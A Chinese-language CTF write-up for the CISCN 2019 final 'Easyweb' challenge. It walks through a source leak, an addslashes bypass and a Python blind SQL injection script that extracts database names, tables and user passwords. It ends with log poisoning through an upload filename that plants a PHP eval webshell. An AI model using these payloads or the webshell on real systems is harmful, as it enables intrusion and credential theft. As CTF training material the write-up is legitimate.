[CISCN2019总决赛Day2] Web1 Easyweb

发布于 2021-08-06  60 次阅读


image-20210519194057975

打开题目,是一处登录框,登录框处尝试进行SQL注入,失败,但是在测试的过程中,发现图片可以发生变化,检查此处前端代码。

image-20210519194317622

发现存在image.php的页面,访问发现是图片页面,推测应该是通过SQL语句进行提取图片,进行SQL注入失败,换点进行目录扫描。

image-20210519194740617

发现存在robots.txt进行访问。

image-20210519194822924

发现存在源码泄露,读取index.php.bak不存在,image.php.bak存在,得到信息如下:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1"; # 对特殊字符前加上反斜杠
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id); # 在每个双引号前面添加反斜杠
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id); # 将\0 %00 ' 替换为空
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

根据源码进行SQL注入的绕过分析

# 初始SQL语句,这里进行注入的难点是单引号如何闭合
select * from images where id='{$id}' or path='{$path}'
# 想要绕过过滤,就要结合addslashes这个函数,和过滤特点进行
# 当我们传入 ?id=\0 时根据函数 和 过滤 会经过如下变化
select * from images where id='\0' # 参数传入
select * from images where id='\\0' # 经过addslashes函数
select * from images where id='\' # 经过替换
# 这时这里的反斜杠就会转义单引号,解决闭合问题

因此编写SQL注入的脚本

# 这里直接嫖大佬的二分法脚本(我是垃圾人,写不出二分法)
import requests

url = 'http://e697cfe7-dea1-464a-836b-f1633f4d85a2.node3.buuoj.cn/image.php?id=\\0&path= or id='
flag=''

for i in range(1,21):
min=32
max=125
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
# 爆库
payload="if(ascii(substr((database()),{},1))<{},1,2)%23".format(i,j)
# 爆表
payload="if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),{},1))<{},1,2)%23".format(i,j)
# 爆字段
payload="if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users'),{},1))<{},1,2)%23".format(i,j)
# 字段查询
payload="if(ascii(substr((select password from users),{},1))<{},1,2)%23".format(i,j)
r=requests.get(url=url+payload).text
#print(len(r))

if len(r)==117007:
max=j
else :
min=j

由此可以得到登陆密码,进行登陆。

image-20210519201113850

登陆成功后随便上传一个图片,发下文件被存入日志文件中并给出了日志文件相对路径。

访问日志文件,发现日志中保存了上传文件的文件名,日志文件本身又是一个 php类型的文件,因此尝试在文件名处插入一句话木马,(这里根据提示一句话木马不能存在php,因此使用<?=eval($_POST['cmd']);?>进行绕过),连接菜刀,得到flag。